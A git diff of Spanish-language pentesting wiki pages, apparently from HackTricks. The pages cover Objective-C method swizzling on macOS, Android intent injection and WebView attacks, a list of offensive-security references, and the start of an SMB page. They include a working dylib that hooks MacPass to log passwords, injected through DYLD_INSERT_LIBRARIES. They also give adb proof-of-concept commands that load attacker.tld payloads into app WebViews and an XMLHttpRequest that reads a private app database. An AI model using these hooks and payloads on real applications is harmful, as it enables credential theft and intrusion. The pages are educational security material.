Se necesita el **objeto**, el **método** y los **params**. Y cuando se llama a un método, se **envía un msg** utilizando la función **`objc_msgSend`**: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
El objeto es **`someObject`**, el método es **`@selector(method1p1:p2:)`** y los argumentos son **value1**, **value2**.
Siguiendo las estructuras de objetos, es posible acceder a un **array de métodos** donde se **ubican** los **nombres** y **punteros** al código del método.
> [!CAUTION]
> Tenga en cuenta que, dado que los métodos y las clases se acceden en función de sus nombres, esta información se almacena en el binario, por lo que es posible recuperarla con `otool -ov </path/bin>` o [`class-dump </path/bin>`](https://github.com/nygard/class-dump)
### Accessing the raw methods
Es posible acceder a la información de los métodos, como el nombre, el número de params o la dirección, como en el siguiente ejemplo:
```objectivec
// gcc -framework Foundation test.m -o test
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>
int main() {
// Get class of the variable
NSString* str = @"This is an example";
Class strClass = [str class];
NSLog(@"str's Class name: %s", class_getName(strClass));
// Get parent class of a class
Class strSuper = class_getSuperclass(strClass);
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));
// Get information about a method
SEL sel = @selector(length);
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
Method m = class_getInstanceMethod(strClass,sel);
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));
// Iterate through the class hierarchy
NSLog(@"Listing methods:");
Class currentClass = strClass;
while (currentClass != NULL) {
unsigned int inheritedMethodCount = 0;
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);
NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);
for (unsigned int i = 0; i < inheritedMethodCount; i++) {
Method method = inheritedMethods[i];
SEL selector = method_getName(method);
const char* methodName = sel_getName(selector);
unsigned long address = (unsigned long)method_getImplementation(m);
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
}
// Free the memory allocated by class_copyMethodList
free(inheritedMethods);
currentClass = class_getSuperclass(currentClass);
}
// Other ways to call uppercaseString method
if([str respondsToSelector:@selector(uppercaseString)]) {
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
NSLog(@"Uppercase string: %@", uppercaseString);
}
// Using objc_msgSend directly
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
NSLog(@"Uppercase string: %@", uppercaseString2);
// Calling the address directly
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
NSLog(@"Uppercase string: %@", uppercaseString3);
return 0;
}
```
### Intercambio de métodos con method_exchangeImplementations
La función **`method_exchangeImplementations`** permite **cambiar** la **dirección** de la **implementación** de **una función por la otra**.
> [!CAUTION]
> Así que cuando se llama a una función, lo que se **ejecuta es la otra**.
```objectivec
//gcc -framework Foundation swizzle_str.m -o swizzle_str
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
// Create a new category for NSString with the method to execute
@interface NSString (SwizzleString)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
@end
@implementation NSString (SwizzleString)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");
// Call the original method
return [self swizzledSubstringFromIndex:from];
}
@end
int main(int argc, const char * argv[]) {
// Perform method swizzling
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
method_exchangeImplementations(originalMethod, swizzledMethod);
// We changed the address of one method for the other
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
return 0;
}
```
> [!WARNING]
> En este caso, si el **código de implementación del método legítimo** **verifica** el **nombre del método**, podría **detectar** este swizzling y evitar que se ejecute.
>
> La siguiente técnica no tiene esta restricción.
### Swizzling de Métodos con method_setImplementation
El formato anterior es extraño porque estás cambiando la implementación de 2 métodos uno por el otro. Usando la función **`method_setImplementation`** puedes **cambiar** la **implementación** de un **método por el otro**.
Solo recuerda **almacenar la dirección de la implementación del original** si vas a llamarlo desde la nueva implementación antes de sobrescribirlo, porque después será mucho más complicado localizar esa dirección.
```objectivec
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>
static IMP original_substringFromIndex = NULL;
@interface NSString (Swizzlestring)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
@end
@implementation NSString (Swizzlestring)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");
// Call the original implementation using objc_msgSendSuper
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
}
@end
int main(int argc, const char * argv[]) {
@autoreleasepool {
// Get the class of the target method
Class stringClass = [NSString class];
// Get the swizzled and original methods
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));
// Get the function pointer to the swizzled method's implementation
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));
// Swap the implementations
// It return the now overwritten implementation of the original method to store it
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
// Set the original implementation back
method_setImplementation(originalMethod, original_substringFromIndex);
return 0;
}
}
```
## Metodología de Ataque de Hooking
En esta página se discutieron diferentes formas de enganchar funciones. Sin embargo, implicaron **ejecutar código dentro del proceso para atacar**.
Para hacer eso, la técnica más fácil de usar es inyectar un [Dyld a través de variables de entorno o secuestrando](../macos-dyld-hijacking-and-dyld_insert_libraries.md). Sin embargo, supongo que esto también podría hacerse a través de [inyección de proceso Dylib](macos-ipc-inter-process-communication/index.html#dylib-process-injection-via-task-port).
Sin embargo, ambas opciones están **limitadas** a binarios/procesos **no protegidos**. Consulta cada técnica para aprender más sobre las limitaciones.
Sin embargo, un ataque de hooking de función es muy específico, un atacante hará esto para **robar información sensible desde dentro de un proceso** (si no, simplemente harías un ataque de inyección de proceso). Y esta información sensible podría estar ubicada en aplicaciones descargadas por el usuario, como MacPass.
Así que el vector del atacante sería encontrar una vulnerabilidad o eliminar la firma de la aplicación, inyectar la variable de entorno **`DYLD_INSERT_LIBRARIES`** a través del Info.plist de la aplicación añadiendo algo como:
```xml
<key>LSEnvironment</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/Applications/Application.app/Contents/malicious.dylib</string>
</dict>
```
y luego **re-registrar** la aplicación:
```bash
/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app
```
Agrega en esa biblioteca el código de hooking para exfiltrar la información: Contraseñas, mensajes...
> [!CAUTION]
> Ten en cuenta que en versiones más recientes de macOS, si **eliminaste la firma** del binario de la aplicación y se había ejecutado previamente, macOS **ya no ejecutará la aplicación**.
#### Ejemplo de biblioteca
```objectivec
// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib
// If you added env vars in the Info.plist don't forget to call lsregister as explained before
// Listen to the logs with something like:
// log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"'
#include <Foundation/Foundation.h>
#import <objc/runtime.h>
// Here will be stored the real method (setPassword in this case) address
static IMP real_setPassword = NULL;
static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
{
// Function that will log the password and call the original setPassword(pass, file_path) method
NSLog(@"[+] Password is: %@", password);
// After logging the password call the original method so nothing breaks.
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL);
}
// Library constructor to execute
__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
// Get the real method address to not lose it
Class classMPDocument = NSClassFromString(@"MPDocument");
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));
// Make the original method setPassword call the fake implementation one
IMP fake_IMP = (IMP)custom_setPassword;
real_setPassword = method_setImplementation(real_Method, fake_IMP);
}
```
## Referencias
- [https://nshipster.com/method-swizzling/](https://nshipster.com/method-swizzling/)
{{#include ../../../banners/hacktricks-training.md}}

95
src/misc/references.md
View File

@ -1,95 +0,0 @@
{{#include ../banners/hacktricks-training.md}}
{{#ref}}
https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick
{{#endref}}
{{#ref}}
https://hausec.com/pentesting-cheatsheet/#_Toc475368982
{{#endref}}
{{#ref}}
https://anhtai.me/pentesting-cheatsheet/
{{#endref}}
{{#ref}}
https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
{{#endref}}
{{#ref}}
https://ired.team/offensive-security-experiments/offensive-security-cheetsheets
{{#endref}}
{{#ref}}
https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html
{{#endref}}
{{#ref}}
https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md
{{#endref}}
{{#ref}}
https://anhtai.me/oscp-fun-guide/
{{#endref}}
{{#ref}}
https://www.thehacker.recipes/
{{#endref}}
{{#ref}}
https://github.com/swisskyrepo/PayloadsAllTheThings
{{#endref}}
{{#ref}}
https://gtfobins.github.io/
{{#endref}}
{{#ref}}
https://github.com/RistBS/Awesome-RedTeam-Cheatsheet
{{#endref}}
{{#ref}}
https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
{{#endref}}
{{#ref}}
https://hideandsec.sh/
{{#endref}}
{{#ref}}
https://cheatsheet.haax.fr/
{{#endref}}
{{#ref}}
https://infosecwriteups.com/
{{#endref}}
{{#ref}}
https://www.exploit-db.com/
{{#endref}}
{{#ref}}
https://wadcoms.github.io/
{{#endref}}
{{#ref}}
https://lolbas-project.github.io
{{#endref}}
{{#ref}}
https://pentestbook.six2dez.com/
{{#endref}}
{{#ref}}
https://www.hackingarticles.in/
{{#endref}}
{{#ref}}
https://pentestlab.blog/
{{#endref}}
{{#ref}}
https://ippsec.rocks/
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

65
src/mobile-pentesting/android-app-pentesting/intent-injection.md
View File

@ -1,5 +1,64 @@
{{#include ../../banners/hacktricks-training.md}}
**Echa un vistazo a: [https://blog.oversecured.com/Android-Access-to-app-protected-components/](https://blog.oversecured.com/Android-Access-to-app-protected-components/)**
# Intent Injection
{{#include ../../banners/hacktricks-training.md}}
La inyección de intentos abusa de componentes que aceptan Intents controlados por el atacante o datos que luego se convierten en Intents. Dos patrones muy comunes durante las pruebas de penetración de aplicaciones Android son:
- Pasar extras elaborados a Activities/Services/BroadcastReceivers exportados que luego se reenvían a componentes privilegiados y no exportados.
- Activar enlaces profundos EXPORTADOS VIEW/BROWSABLE que reenvían URLs controladas por el atacante a WebViews internas u otros sumideros sensibles.
## Enlaces profundos → sumidero WebView (inyección de parámetros URL)
Si una aplicación expone un enlace profundo de esquema personalizado como:
```text
myscheme://com.example.app/web?url=<attacker_url>
```
y la Activity receptora reenvía el parámetro de consulta `url` a un WebView, puedes forzar a la aplicación a renderizar contenido remoto arbitrario en su propio contexto de WebView.
PoC a través de adb:
```bash
# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
```
Impact
- HTML/JS se ejecuta dentro del perfil WebView de la aplicación.
- Si JavaScript está habilitado (por defecto o debido a verificaciones desordenadas), puedes enumerar/utilizar cualquier objeto expuesto `@JavascriptInterface`, robar cookies/local storage de WebView y pivotar.
Ver también:
{{#ref}}
webview-attacks.md
{{#endref}}
## Error de orden de verificaciones que habilita JavaScript
Un error recurrente es habilitar JavaScript (u otras configuraciones permisivas de WebView) antes de que finalice la lista blanca/verificación de la URL. Si los ayudantes tempranos aceptan tu enlace profundo y el WebView se configura primero, tu carga final ocurre con JavaScript ya habilitado, incluso si las verificaciones posteriores son defectuosas o demasiado tarde.
Qué buscar en el código decompilado:
- Múltiples ayudantes que analizan/dividen/reconstruyen la URL de manera diferente (normalización inconsistente).
- Llamadas a `getSettings().setJavaScriptEnabled(true)` antes de la última verificación de lista blanca de host/ruta.
- Un pipeline como: parsear → validar parcialmente → configurar WebView → verificar final → loadUrl.
Mitigaciones
- Canonizar una vez y validar estrictamente; fallar cerrado.
- Solo habilitar JavaScript después de que todas las verificaciones pasen y justo antes de cargar contenido de confianza.
- Evitar exponer puentes a orígenes no confiables.
## Otras primitivas clásicas de inyección de Intent
- startActivity/sendBroadcast utilizando extras de `Intent` proporcionados por el atacante que luego son reanalizados (`Intent.parseUri(...)`) y ejecutados.
- Componentes proxy exportados que reenvían Intents a componentes sensibles no exportados sin verificaciones de permiso.
## Referencias
- [Android – Acceso a componentes protegidos por la aplicación](https://blog.oversecured.com/Android-Access-to-app-protected-components/)
- [Cadena de explotación del Samsung S24 Pwn2Own 2024 Walkthrough](https://medium.com/@happyjester80/samsung-s24-exploit-chain-pwn2own-2024-walkthrough-c7a3da9a7a26)
- [Pwn2Own Irlanda 2024 – Cadena de ataque del Samsung S24 (documento técnico)](https://maliciouserection.com/2025/05/13/pwn2own-ireland-2024-samsung-s24-attack-chain-whitepaper.html)
- [Video de demostración](https://www.youtube.com/watch?v=LAIr2laU-So)
{{#include ../../banners/hacktricks-training.md}}

240
src/mobile-pentesting/android-app-pentesting/webview-attacks.md
View File

@ -4,11 +4,11 @@
## Guía sobre Configuraciones y Seguridad de WebView
### Visión General de las Vulnerabilidades de WebView
### Descripción General de las Vulnerabilidades de WebView
Un aspecto crítico del desarrollo en Android implica el manejo correcto de WebViews. Esta guía destaca configuraciones clave y prácticas de seguridad para mitigar los riesgos asociados con el uso de WebView.
![WebView Example](<../../images/image (1190).png>)
![Ejemplo de WebView](<../../images/image (1190).png>)
### **Acceso a Archivos en WebViews**
@ -41,10 +41,10 @@ webview.loadUrl("<url here>")
```
Por supuesto, un atacante potencial nunca debería poder **controlar la URL** que una aplicación va a cargar.
### **Manejo de JavaScript y Esquema de Intent**
### **Manejo de JavaScript y Esquema de Intento**
- **JavaScript**: Desactivado por defecto en WebViews, se puede habilitar a través de `setJavaScriptEnabled()`. Se recomienda precaución, ya que habilitar JavaScript sin las salvaguardias adecuadas puede introducir vulnerabilidades de seguridad.
- **Esquema de Intent**: Los WebViews pueden manejar el esquema `intent`, lo que puede llevar a exploits si no se gestiona cuidadosamente. Una vulnerabilidad de ejemplo involucró un parámetro de WebView expuesto "support_url" que podría ser explotado para ejecutar ataques de scripting entre sitios (XSS).
- **Esquema de Intento**: Los WebViews pueden manejar el esquema `intent`, lo que puede llevar a exploits si no se gestiona cuidadosamente. Una vulnerabilidad de ejemplo involucró un parámetro de WebView expuesto "support_url" que podría ser explotado para ejecutar ataques de scripting entre sitios (XSS).
![Vulnerable WebView](<../../images/image (1191).png>)
@ -54,7 +54,7 @@ adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url
```
### Javascript Bridge
Una característica proporcionada por Android que permite a **JavaScript** en un WebView invocar **funciones nativas de la aplicación Android**. Esto se logra utilizando el método `addJavascriptInterface`, que integra JavaScript con funcionalidades nativas de Android, denominado como un _WebView JavaScript bridge_. Se recomienda precaución, ya que este método permite que todas las páginas dentro del WebView accedan al objeto de la Interfaz JavaScript registrada, lo que representa un riesgo de seguridad si se expone información sensible a través de estas interfaces.
Una característica proporcionada por Android permite que **JavaScript** en un WebView invoque **funciones nativas de la aplicación Android**. Esto se logra utilizando el método `addJavascriptInterface`, que integra JavaScript con funcionalidades nativas de Android, denominado como un _WebView JavaScript bridge_. Se recomienda precaución, ya que este método permite que todas las páginas dentro del WebView accedan al objeto de la Interfaz JavaScript registrada, lo que representa un riesgo de seguridad si se expone información sensible a través de estas interfaces.
- **Se requiere extrema precaución** para las aplicaciones que apuntan a versiones de Android anteriores a 4.2 debido a una vulnerabilidad que permite la ejecución remota de código a través de JavaScript malicioso, explotando la reflexión.
@ -105,6 +105,223 @@ if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
```
## Exfiltrar archivos arbitrarios
- Demuestra la exfiltración de archivos arbitrarios utilizando un XMLHttpRequest:
```javascript
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)
```
# Webview Attacks
## Guía sobre Configuraciones y Seguridad de WebView
### Visión General de Vulnerabilidades de WebView
Un aspecto crítico del desarrollo en Android implica el manejo correcto de WebViews. Esta guía destaca configuraciones clave y prácticas de seguridad para mitigar riesgos asociados con el uso de WebView.
![WebView Example](<../../images/image (1190).png>)
### **Acceso a Archivos en WebViews**
Por defecto, los WebViews permiten el acceso a archivos. Esta funcionalidad es controlada por el método `setAllowFileAccess()`, disponible desde el nivel de API 3 de Android (Cupcake 1.5). Las aplicaciones con el permiso **android.permission.READ_EXTERNAL_STORAGE** pueden leer archivos del almacenamiento externo utilizando un esquema de URL de archivo (`file://path/to/file`).
#### **Características Obsoletas: Acceso Universal y Acceso a Archivos Desde URLs**
- **Acceso Universal Desde URLs de Archivos**: Esta característica obsoleta permitía solicitudes de origen cruzado desde URLs de archivos, lo que representaba un riesgo de seguridad significativo debido a posibles ataques XSS. La configuración predeterminada está deshabilitada (`false`) para aplicaciones que apuntan a Android Jelly Bean y versiones más recientes.
- Para verificar esta configuración, utiliza `getAllowUniversalAccessFromFileURLs()`.
- Para modificar esta configuración, utiliza `setAllowUniversalAccessFromFileURLs(boolean)`.
- **Acceso a Archivos Desde URLs de Archivos**: Esta característica, también obsoleta, controlaba el acceso al contenido desde otras URLs de esquema de archivo. Al igual que el acceso universal, su configuración predeterminada está deshabilitada para mejorar la seguridad.
- Utiliza `getAllowFileAccessFromFileURLs()` para verificar y `setAllowFileAccessFromFileURLs(boolean)` para establecer.
#### **Carga Segura de Archivos**
Para deshabilitar el acceso al sistema de archivos mientras se accede a activos y recursos, se utiliza el método `setAllowFileAccess()`. Con Android R y versiones superiores, la configuración predeterminada es `false`.
- Verifica con `getAllowFileAccess()`.
- Habilita o deshabilita con `setAllowFileAccess(boolean)`.
#### **WebViewAssetLoader**
La clase **WebViewAssetLoader** es el enfoque moderno para cargar archivos locales. Utiliza URLs http(s) para acceder a activos y recursos locales, alineándose con la política de Same-Origin, facilitando así la gestión de CORS.
### loadUrl
Esta es una función común utilizada para cargar URLs arbitrarias en un webview:
```java
webview.loadUrl("<url here>")
```
Por supuesto, un atacante potencial nunca debería poder **controlar la URL** que una aplicación va a cargar.
### Deep-linking en WebView interno (esquema personalizado → WebView sink)
Muchas aplicaciones registran esquemas/rutas personalizados que dirigen una URL proporcionada por el usuario a un WebView dentro de la aplicación. Si el enlace profundo se exporta (VIEW + BROWSABLE), un atacante puede forzar a la aplicación a renderizar contenido remoto arbitrario dentro de su contexto de WebView.
Patrón típico de manifiesto (simplificado):
```xml
<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myscheme" android:host="com.example.app" />
</intent-filter>
</activity>
```
Flujo de código común (simplificado):
```java
// Entry activity
@Override
protected void onNewIntent(Intent intent) {
Uri deeplink = intent.getData();
String url = deeplink.getQueryParameter("url"); // attacker-controlled
if (deeplink.getPathSegments().get(0).equals("web")) {
Intent i = new Intent(this, WebActivity.class);
i.putExtra("url", url);
startActivity(i);
}
}
// WebActivity sink
webView.loadUrl(getIntent().getStringExtra("url"));
```
Patrón de ataque y PoC a través de adb:
```bash
# Template – force load in internal WebView
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
# If a specific Activity must be targeted
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
```
Impacto: la página remota se ejecuta en el contexto de WebView de la aplicación (cookies/sesión del perfil de WebView de la aplicación, acceso a cualquier @JavascriptInterface expuesto, acceso potencial a content:// y file:// dependiendo de la configuración).
Consejos de búsqueda:
- Grep fuentes decompiladas para `getQueryParameter("url")`, `loadUrl(`, sumideros de `WebView` y controladores de deep-link (`onCreate/onNewIntent`).
- Revisa el manifiesto en busca de filtros VIEW+BROWSABLE y esquemas/anfitriones personalizados que se mapeen a actividades que luego inician un WebView.
- Verifica si hay múltiples rutas de deep-link (por ejemplo, una ruta de "navegador externo" frente a una ruta de "webview interno") y prefiere la que se renderiza dentro de la aplicación.
### Habilitando JavaScript antes de la verificación (error de orden de comprobaciones)
Un error frecuente de endurecimiento es habilitar JavaScript o configurar ajustes de WebView relajados antes de que se complete la lista de permitidos/verificación de la URL objetivo. Si la verificación es inconsistente entre ayudantes o ocurre demasiado tarde, un enlace profundo de un atacante puede alcanzar un estado donde:
1) Se aplican configuraciones de WebView (por ejemplo, `setJavaScriptEnabled(true)`), y
2) La URL no confiable se carga con JavaScript habilitado.
Patrón de error (pseudocódigo):
```java
// 1) Parse/early checks
Uri u = parse(intent);
if (!looksValid(u)) return;
// 2) Configure WebView BEFORE final checks
webView.getSettings().setJavaScriptEnabled(true); // BAD: too early
configureMixedContent();
// 3) Do final verification (late)
if (!finalAllowlist(u)) return; // too late – JS already enabled
// 4) Load
webView.loadUrl(u.toString());
```
Por qué es explotable
- Normalización inconsistente: los ayudantes dividen/reconstruyen la URL de manera diferente a la verificación final, creando desajustes que una URL maliciosa puede explotar.
- Pipeline desordenado: habilitar JS en el paso 2 se aplica globalmente a la instancia de WebView, afectando la carga final incluso si la verificación falla más tarde.
Cómo probar
- Crear cargas útiles de deep-link que pasen las verificaciones iniciales y lleguen al sitio de configuración de WebView.
- Usar adb para enviar intenciones IMPLÍCITAS de VIEW que entreguen un parámetro `url=` controlado por usted:
```bash
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
```
Si la explotación tiene éxito, tu payload ejecuta JavaScript en el WebView de la aplicación. Desde allí, busca puentes expuestos:
```html
<script>
for (let k in window) {
try { if (typeof window[k] === 'object' || typeof window[k] === 'function') console.log('[JSI]', k); } catch(e){}
}
</script>
```
Guía defensiva
- Canonicalizar una vez; validar estrictamente contra una única fuente de verdad (esquema/anfitrión/ruta/consulta).
- Solo llamar a `setJavaScriptEnabled(true)` después de que todas las verificaciones de lista de permitidos pasen y justo antes de cargar contenido de confianza.
- Evitar exponer `@JavascriptInterface` a orígenes no confiables; preferir el control por origen.
- Considerar instancias por WebView para contenido de confianza vs no confiable, con JS deshabilitado por defecto.
### **Manejo de JavaScript y Esquema de Intento**
- **JavaScript**: Deshabilitado por defecto en WebViews, se puede habilitar a través de `setJavaScriptEnabled()`. Se recomienda precaución, ya que habilitar JavaScript sin las salvaguardias adecuadas puede introducir vulnerabilidades de seguridad.
- **Esquema de Intento**: Los WebViews pueden manejar el esquema `intent`, lo que puede llevar a exploits si no se gestiona cuidadosamente. Una vulnerabilidad de ejemplo involucró un parámetro de WebView expuesto "support_url" que podría ser explotado para ejecutar ataques de scripting entre sitios (XSS).
![Vulnerable WebView](<../../images/image (1191).png>)
Ejemplo de explotación usando adb:
```bash
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"
```
### Javascript Bridge
Una característica proporcionada por Android permite que **JavaScript** en un WebView invoque **funciones nativas de la aplicación Android**. Esto se logra utilizando el método `addJavascriptInterface`, que integra JavaScript con funcionalidades nativas de Android, denominado como un _WebView JavaScript bridge_. Se recomienda precaución, ya que este método permite que todas las páginas dentro del WebView accedan al objeto de la Interfaz JavaScript registrada, lo que representa un riesgo de seguridad si se expone información sensible a través de estas interfaces.
- **Se requiere extrema precaución** para las aplicaciones que apuntan a versiones de Android anteriores a 4.2 debido a una vulnerabilidad que permite la ejecución remota de código a través de JavaScript malicioso, explotando la reflexión.
#### Implementando un JavaScript Bridge
- **Las interfaces de JavaScript** pueden interactuar con código nativo, como se muestra en los ejemplos donde un método de clase se expone a JavaScript:
```javascript
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
```
- JavaScript Bridge se habilita al agregar una interfaz al WebView:
```javascript
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
```
- La explotación potencial a través de JavaScript, por ejemplo, mediante un ataque XSS, permite la llamada a métodos Java expuestos:
```html
<script>
alert(javascriptBridge.getSecret())
</script>
```
- Para mitigar riesgos, **restringe el uso del puente JavaScript** al código enviado con el APK y evita cargar JavaScript de fuentes remotas. Para dispositivos más antiguos, establece el nivel mínimo de API en 17.
### Ejecución Remota de Código Basada en Reflexión (RCE)
- Un método documentado permite lograr RCE a través de reflexión ejecutando una carga útil específica. Sin embargo, la anotación `@JavascriptInterface` previene el acceso no autorizado a métodos, limitando la superficie de ataque.
### Depuración Remota
- **La depuración remota** es posible con **Chrome Developer Tools**, lo que permite la interacción y la ejecución arbitraria de JavaScript dentro del contenido de WebView.
#### Habilitando la Depuración Remota
- La depuración remota se puede habilitar para todos los WebViews dentro de una aplicación mediante:
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
```
- Para habilitar condicionalmente la depuración según el estado de depuración de la aplicación:
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
```
## Exfiltrar archivos arbitrarios
- Demuestra la exfiltración de archivos arbitrarios utilizando un XMLHttpRequest:
```javascript
var xhr = new XMLHttpRequest()
@ -122,10 +339,13 @@ xhr.send(null)
```
## Referencias
- [https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html)
- [https://github.com/authenticationfailure/WheresMyBrowser.Android](https://github.com/authenticationfailure/WheresMyBrowser.Android)
- [https://developer.android.com/reference/android/webkit/WebView](https://developer.android.com/reference/android/webkit/WebView)
- [https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1](https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1)
- [https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I](https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I)
- [Revisión de vectores de ataque de acceso a archivos de Android WebViews](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html)
- [WheresMyBrowser.Android (app de demostración)](https://github.com/authenticationfailure/WheresMyBrowser.Android)
- [Referencia de Android WebView](https://developer.android.com/reference/android/webkit/WebView)
- [Explotaciones de Deep Links y WebViews – Parte II](https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1)
- [Explotaciones de Deep Links y WebViews – Parte I](https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I)
- [Cadena de explotación del Samsung S24 Pwn2Own 2024 Walkthrough](https://medium.com/@happyjester80/samsung-s24-exploit-chain-pwn2own-2024-walkthrough-c7a3da9a7a26)
- [Pwn2Own Irlanda 2024 – Cadena de ataque del Samsung S24 (documento técnico)](https://maliciouserection.com/2025/05/13/pwn2own-ireland-2024-samsung-s24-attack-chain-whitepaper.html)
- [Video de demostración](https://www.youtube.com/watch?v=LAIr2laU-So)
{{#include ../../banners/hacktricks-training.md}}

532
src/network-services-pentesting/pentesting-smb.md
View File

@ -1,532 +0,0 @@
# 139,445 - Pentesting SMB
{{#include ../banners/hacktricks-training.md}}
## **Puerto 139**
El _**Sistema Básico de Entrada y Salida de Red**_** (NetBIOS)** es un protocolo de software diseñado para permitir que aplicaciones, PCs y escritorios dentro de una red de área local (LAN) interactúen con hardware de red y **faciliten la transmisión de datos a través de la red**. La identificación y localización de aplicaciones de software que operan en una red NetBIOS se logran a través de sus nombres NetBIOS, que pueden tener hasta 16 caracteres de longitud y a menudo son distintos del nombre de la computadora. Una sesión NetBIOS entre dos aplicaciones se inicia cuando una aplicación (actuando como el cliente) emite un comando para "llamar" a otra aplicación (actuando como el servidor) utilizando **TCP Puerto 139**.
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
## Puerto 445
Técnicamente, el Puerto 139 se refiere a ‘NBT sobre IP’, mientras que el Puerto 445 se identifica como ‘SMB sobre IP’. El acrónimo **SMB** significa ‘**Server Message Blocks**’, que también se conoce modernamente como el **Common Internet File System (CIFS)**. Como un protocolo de red de capa de aplicación, SMB/CIFS se utiliza principalmente para habilitar el acceso compartido a archivos, impresoras, puertos serie y facilitar varias formas de comunicación entre nodos en una red.
Por ejemplo, en el contexto de Windows, se destaca que SMB puede operar directamente sobre TCP/IP, eliminando la necesidad de NetBIOS sobre TCP/IP, a través de la utilización del puerto 445. Por el contrario, en diferentes sistemas, se observa el empleo del puerto 139, lo que indica que SMB se está ejecutando en conjunto con NetBIOS sobre TCP/IP.
```
